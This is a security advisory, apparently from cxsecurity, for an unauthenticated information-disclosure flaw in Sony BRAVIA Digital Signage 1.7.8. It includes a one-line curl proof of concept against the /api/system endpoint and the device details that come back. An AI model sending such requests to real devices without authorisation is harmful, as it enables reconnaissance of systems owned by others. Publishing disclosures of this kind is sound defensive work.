

Sony BRAVIA Digital Signage 1.7.8 System API Information Disclosure

2020.12.04

Credit: [LiquidWorm \(https://cxsecurity.com/author/LiquidWorm/1/\)](https://cxsecurity.com/author/LiquidWorm/1/)

Risk: **Low**

Local: **No**

Remote: **Yes**

CVE: **N/A**

CWE: **N/A**

Sony BRAVIA Digital Signage 1.7.8 System API Information Disclosure

Vendor: Sony Electronics Inc.

Product web page: <https://pro-bravia.sony.net>

<https://pro-bravia.sony.net/resources/software/bravia-signage/>

https://pro.sony/ue_US/products/display-software

Affected version: <=1.7.8

Summary: Sony's BRAVIA Signage is an application to deliver video and still images to Pro BRAVIAs and manage the information via a network. Features include management of displays, power schedule management, content playlists, scheduled delivery management, content interrupt, and more. This cost-effective digital signage management solution is ideal for presenting attractive, informative visual content in retail spaces and hotel reception areas, visitor attractions, educational and corporate environments.

Desc: The application is vulnerable to sensitive information disclosure vulnerability. An unauthenticated attacker can visit several API endpoints and disclose information running

on the device.

Tested on: Microsoft Windows Server 2012 R2

Ubuntu

NodeJS

Express

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2020-5610

Advisory URL: <https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5610.php>

20.09.2020

--

```
$ curl http://192.168.1.20:8080/api/system
```

```
{"__v":0,"_id":"5fa1d6ed9446da0b002d678f","version":"1.7.8","contentsServer":{"url":"http://192.168.1.21/joxy/"},"networkInterfaces":{"lo":[{"address":"127.0.0.1","netmask":"255.0.0.0","family":"IPv4","mac":"00:00:00:00:00:00","internal":true}],"eth0":[{"address":"192.168.1.20","netmask":"255.255.255.0","family":"IPv4","mac":"ZE:R0:SC:13:NC:30","internal":false}]},"serverTime":"2020-12-01T20:13:41.069+01:00","os":"Synology","hostIp":"192.168.1.21"}
```

See this note in RAW Version (<https://cxsecurity.com/ascii/WLB-2020120028>).

[Tweet \(https://twitter.com/share\)](https://twitter.com/share)

Vote for this issue:



0



0

50%

50%

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

Copyright 2026, cxsecurity.com